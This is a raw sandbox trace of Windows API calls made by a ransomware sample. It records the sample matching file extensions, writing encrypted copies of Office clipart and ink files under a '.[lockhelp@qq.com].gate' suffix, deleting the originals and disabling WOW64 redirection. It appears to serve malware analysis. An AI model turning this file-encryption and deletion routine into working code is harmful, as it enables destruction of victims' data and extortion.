lstrlenW (lpString=".7z") returned 3 [0318.709] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0318.709] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105292.WMF") returned 68 [0318.709] lstrlenW (lpString=".dbf") returned 4 [0318.709] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0318.709] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105292.WMF") returned 68 [0318.709] lstrlenW (lpString=".1cd") returned 4 [0318.709] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0318.709] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105292.WMF") returned 68 [0318.709] lstrlenW (lpString=".jpg") returned 4 [0318.709] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0318.710] SetFilePointerEx (in: hFile=0x2b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0318.710] SetFilePointerEx (in: hFile=0x2b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0318.710] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105298.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105298.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c4 [0318.711] GetLastError () returned 0x0 [0318.711] ReadFile (in: hFile=0x2b0, lpBuffer=0x3c8c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesRead=0x327fecc*=0x18b0, lpOverlapped=0x0) returned 1 [0318.759] WriteFile (in: hFile=0x4c4, lpBuffer=0x3c8c020*, nNumberOfBytesToWrite=0x18c0, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesWritten=0x327fc94*=0x18c0, lpOverlapped=0x0) returned 1 [0318.760] ReadFile (in: hFile=0x2b0, lpBuffer=0x3c8c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0318.760] WriteFile (in: hFile=0x4c4, lpBuffer=0x3c8c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesWritten=0x327fc94*=0xec, lpOverlapped=0x0) returned 1 [0318.760] SetEndOfFile (hFile=0x4c4) returned 1 [0318.760] CloseHandle (hObject=0x4c4) returned 1 [0318.761] SetFilePointerEx (in: hFile=0x2b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0318.761] SetEndOfFile (hFile=0x2b0) returned 1 [0318.763] CloseHandle (hObject=0x2b0) returned 1 [0318.763] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105298.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0318.764] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105298.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105298.wmf")) returned 1 [0318.764] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105298.WMF") returned 68 [0318.764] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105298.WMF") returned 68 [0318.765] lstrlenW (lpString=".doc") returned 4 [0318.765] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0318.765] lstrlenW (lpString=".docx") returned 5 [0318.765] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0318.765] lstrlenW (lpString=".pdf") returned 4 [0318.765] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0318.765] lstrlenW (lpString=".xls") returned 4 [0318.765] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0318.765] lstrlenW (lpString=".xlsx") returned 5 [0318.765] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0318.765] lstrlenW (lpString=".ppt") returned 4 [0318.765] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0318.765] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105298.WMF") returned 68 [0318.765] lstrlenW (lpString=".zip") returned 4 [0318.765] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0318.765] lstrlenW (lpString=".rar") returned 4 [0318.766] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0318.766] lstrlenW (lpString=".bz2") returned 4 [0318.766] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0318.766] lstrlenW (lpString=".7z") returned 3 [0318.766] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0318.766] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105298.WMF") returned 68 [0318.766] lstrlenW (lpString=".dbf") returned 4 [0318.766] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0318.766] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105298.WMF") returned 68 [0318.766] lstrlenW (lpString=".1cd") returned 4 [0318.766] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0318.766] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105298.WMF") returned 68 [0318.766] lstrlenW (lpString=".jpg") returned 4 [0318.766] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0318.767] SetFilePointerEx (in: hFile=0x2b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0318.767] SetFilePointerEx (in: hFile=0x2b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0318.767] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105328.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105328.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c4 [0318.768] GetLastError () returned 0x0 [0318.768] ReadFile (in: hFile=0x2b0, lpBuffer=0x3c8c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesRead=0x327fecc*=0x1f38, lpOverlapped=0x0) returned 1 [0318.844] WriteFile (in: hFile=0x4c4, lpBuffer=0x3c8c020*, nNumberOfBytesToWrite=0x1f40, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesWritten=0x327fc94*=0x1f40, lpOverlapped=0x0) returned 1 [0318.845] ReadFile (in: hFile=0x2b0, lpBuffer=0x3c8c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0318.845] WriteFile (in: hFile=0x4c4, lpBuffer=0x3c8c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesWritten=0x327fc94*=0xec, lpOverlapped=0x0) returned 1 [0318.845] SetEndOfFile (hFile=0x4c4) returned 1 [0318.846] CloseHandle (hObject=0x4c4) returned 1 [0318.846] SetFilePointerEx (in: hFile=0x2b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0318.846] SetEndOfFile (hFile=0x2b0) returned 1 [0318.848] CloseHandle (hObject=0x2b0) returned 1 [0318.848] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105328.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0318.848] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105328.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105328.wmf")) returned 1 [0318.849] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105328.WMF") returned 68 [0318.849] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105328.WMF") returned 68 [0318.849] lstrlenW (lpString=".doc") returned 4 [0318.849] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0318.849] lstrlenW (lpString=".docx") returned 5 [0318.849] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0318.849] lstrlenW (lpString=".pdf") returned 4 [0318.849] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0318.849] lstrlenW (lpString=".xls") returned 4 [0318.849] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0318.849] lstrlenW (lpString=".xlsx") returned 5 [0318.849] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0318.849] lstrlenW (lpString=".ppt") returned 4 [0318.849] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0318.849] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105328.WMF") returned 68 [0318.850] lstrlenW (lpString=".zip") returned 4 [0318.850] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0318.850] lstrlenW (lpString=".rar") returned 4 [0318.850] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0318.850] lstrlenW (lpString=".bz2") returned 4 [0318.850] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0318.850] lstrlenW (lpString=".7z") returned 3 [0318.850] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0318.850] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105328.WMF") returned 68 [0318.850] lstrlenW (lpString=".dbf") returned 4 [0318.850] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0318.850] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105328.WMF") returned 68 [0318.850] lstrlenW (lpString=".1cd") returned 4 [0318.850] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0318.850] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105328.WMF") returned 68 [0318.850] lstrlenW (lpString=".jpg") returned 4 [0318.850] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0318.850] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x7406d8 | out: hHeap=0x6e0000) returned 1 [0318.850] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x73bf90 | out: hHeap=0x6e0000) returned 1 [0318.850] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x7847d0 | out: hHeap=0x6e0000) returned 1 [0318.858] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x7947d8 | out: hHeap=0x6e0000) returned 1 [0318.858] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x3c8c020 | out: hHeap=0x6e0000) returned 1 [0318.862] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x7404f8 | out: hHeap=0x6e0000) returned 1 [0318.862] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x10) returned 0x3f8b308 [0318.862] RtlReAllocateHeap (Heap=0x6e0000, Flags=0x0, Ptr=0x3f8b308, Size=0x20) returned 0x7ddd68 [0318.862] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x10) returned 0x3f8b380 [0318.862] RtlReAllocateHeap (Heap=0x6e0000, Flags=0x0, Ptr=0x3f8b380, Size=0x20) returned 0x7ddc78 [0318.862] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x77740000 [0318.863] GetProcAddress (hModule=0x77740000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x77756b30 [0318.863] Wow64DisableWow64FsRedirection (in: OldValue=0x327ff50 | out: OldValue=0x327ff50*=0x1) returned 1 [0318.863] lstrlenW (lpString="kernel32.dll") returned 12 [0318.863] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x7ddc78 | out: hHeap=0x6e0000) returned 1 [0318.863] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0318.863] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x7ddd68 | out: hHeap=0x6e0000) returned 1 Thread: id = 53 os_tid = 0xebc [0272.241] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x10000) returned 0x7a4eb0 [0272.241] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x10000) returned 0x7b4eb8 [0272.242] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x10) returned 0x740510 [0272.242] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x6) returned 0x73bfa0 [0272.242] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x10) returned 0x7406f0 [0272.242] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x100000) returned 0x3d9d020 [0272.245] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x10) returned 0x740540 [0272.245] RtlReAllocateHeap (Heap=0x6e0000, Flags=0x0, Ptr=0x740540, Size=0x20) returned 0x71eb60 [0272.245] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x10) returned 0x740558 [0272.245] RtlReAllocateHeap (Heap=0x6e0000, Flags=0x0, Ptr=0x740558, Size=0x20) returned 0x71ed18 [0272.245] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x77740000 [0272.245] GetProcAddress (hModule=0x77740000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x77756b30 [0272.245] Wow64DisableWow64FsRedirection (in: OldValue=0x33bff50 | out: OldValue=0x33bff50*=0x0) returned 1 [0272.245] lstrlenW (lpString="kernel32.dll") returned 12 [0272.245] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x71eb60 | out: hHeap=0x6e0000) returned 1 [0272.245] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0272.245] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x71ed18 | out: hHeap=0x6e0000) returned 1 [0272.246] Sleep (dwMilliseconds=0x64) [0272.371] Sleep (dwMilliseconds=0x64) [0272.504] Sleep (dwMilliseconds=0x64) [0272.698] Sleep (dwMilliseconds=0x64) [0272.989] Sleep (dwMilliseconds=0x64) [0273.164] Sleep (dwMilliseconds=0x64) [0273.297] Sleep (dwMilliseconds=0x64) [0273.402] lstrcmpiW (lpString1=".avi", lpString2=".gate") returned -1 [0273.402] lstrlenW (lpString="boxed-delete.avi") returned 16 [0273.402] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0273.991] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x33bff14 | out: lpFileSize=0x33bff14*=48936) returned 1 [0273.991] CloseHandle (hObject=0x3a0) returned 1 [0273.991] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi")) returned 0x20 [0273.992] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0273.992] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.992] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0273.992] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0273.992] lstrlenW (lpString=".doc") returned 4 [0273.992] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0273.992] lstrlenW (lpString=".docx") returned 5 [0273.992] lstrcmpiW (lpString1=".docx", lpString2="e.avi") returned -1 [0273.992] lstrlenW (lpString=".pdf") returned 4 [0273.992] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0273.992] lstrlenW (lpString=".xls") returned 4 [0273.992] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0273.992] lstrlenW (lpString=".xlsx") returned 5 [0273.992] lstrcmpiW (lpString1=".xlsx", lpString2="e.avi") returned -1 [0273.992] lstrlenW (lpString=".ppt") returned 4 [0273.992] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0273.992] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0273.992] lstrlenW (lpString=".zip") returned 4 [0273.992] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0273.992] lstrlenW (lpString=".rar") returned 4 [0273.992] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0273.992] lstrlenW (lpString=".bz2") returned 4 [0273.993] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0273.993] lstrlenW (lpString=".7z") returned 3 [0273.993] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0273.993] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0273.993] lstrlenW (lpString=".dbf") returned 4 [0273.993] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0273.993] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0273.993] lstrlenW (lpString=".1cd") returned 4 [0273.993] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0273.993] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0273.993] lstrlenW (lpString=".jpg") returned 4 [0273.993] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0273.993] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0273.993] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0273.993] lstrlenW (lpString=".doc") returned 4 [0273.993] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0273.993] lstrlenW (lpString=".docx") returned 5 [0273.993] lstrcmpiW (lpString1=".docx", lpString2="e.avi") returned -1 [0273.993] lstrlenW (lpString=".pdf") returned 4 [0273.993] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0273.993] lstrlenW (lpString=".xls") returned 4 [0273.993] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0273.993] lstrlenW (lpString=".xlsx") returned 5 [0273.993] lstrcmpiW (lpString1=".xlsx", lpString2="e.avi") returned -1 [0273.994] lstrlenW (lpString=".ppt") returned 4 [0273.994] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0273.994] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0273.994] lstrlenW (lpString=".zip") returned 4 [0273.994] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0273.994] lstrlenW (lpString=".rar") returned 4 [0273.994] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0273.994] lstrlenW (lpString=".bz2") returned 4 [0273.994] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0273.994] lstrlenW (lpString=".7z") returned 3 [0273.994] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0273.994] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0273.994] lstrlenW (lpString=".dbf") returned 4 [0273.994] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0273.994] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0273.994] lstrlenW (lpString=".1cd") returned 4 [0273.994] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0273.994] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0273.994] lstrlenW (lpString=".jpg") returned 4 [0273.994] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0273.994] lstrcmpiW (lpString1=".avi", lpString2=".gate") returned -1 [0273.994] lstrlenW (lpString="correct.avi") returned 11 [0273.994] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\correct.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0273.995] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x33bff14 | out: lpFileSize=0x33bff14*=180172) returned 1 [0273.995] CloseHandle (hObject=0x3a0) returned 1 [0273.995] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\correct.avi")) returned 0x20 [0273.995] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\correct.avi.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0273.995] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\correct.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.995] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi") returned 68 [0273.995] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi") returned 68 [0273.995] lstrlenW (lpString=".doc") returned 4 [0273.995] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0273.995] lstrlenW (lpString=".docx") returned 5 [0273.995] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1 [0273.995] lstrlenW (lpString=".pdf") returned 4 [0273.995] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0273.995] lstrlenW (lpString=".xls") returned 4 [0273.995] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0273.996] lstrlenW (lpString=".xlsx") returned 5 [0273.996] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1 [0273.996] lstrlenW (lpString=".ppt") returned 4 [0273.996] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0273.996] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi") returned 68 [0273.996] lstrlenW (lpString=".zip") returned 4 [0273.996] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0273.996] lstrlenW (lpString=".rar") returned 4 [0273.996] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0273.996] lstrlenW (lpString=".bz2") returned 4 [0273.996] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0273.996] lstrlenW (lpString=".7z") returned 3 [0273.996] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0273.996] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi") returned 68 [0273.996] lstrlenW (lpString=".dbf") returned 4 [0273.996] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0273.996] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi") returned 68 [0273.996] lstrlenW (lpString=".1cd") returned 4 [0273.996] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0273.996] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi") returned 68 [0273.996] lstrlenW (lpString=".jpg") returned 4 [0273.996] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0273.996] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi") returned 68 [0273.996] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi") returned 68 [0273.996] lstrlenW (lpString=".doc") returned 4 [0273.996] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0273.997] lstrlenW (lpString=".docx") returned 5 [0273.997] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1 [0273.997] lstrlenW (lpString=".pdf") returned 4 [0273.997] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0273.997] lstrlenW (lpString=".xls") returned 4 [0273.997] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0273.997] lstrlenW (lpString=".xlsx") returned 5 [0273.997] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1 [0273.997] lstrlenW (lpString=".ppt") returned 4 [0273.997] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0273.997] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi") returned 68 [0273.997] lstrlenW (lpString=".zip") returned 4 [0273.997] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0273.997] lstrlenW (lpString=".rar") returned 4 [0273.997] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0273.997] lstrlenW (lpString=".bz2") returned 4 [0273.997] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0273.997] lstrlenW (lpString=".7z") returned 3 [0273.997] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0273.997] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi") returned 68 [0273.997] lstrlenW (lpString=".dbf") returned 4 [0273.997] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0273.997] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi") returned 68 [0273.997] lstrlenW (lpString=".1cd") returned 4 [0273.997] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0273.997] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi") returned 68 [0273.997] lstrlenW (lpString=".jpg") returned 4 [0273.997] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0273.998] lstrcmpiW (lpString1=".avi", lpString2=".gate") returned -1 [0273.998] lstrlenW (lpString="delete.avi") returned 10 [0273.998] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\delete.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 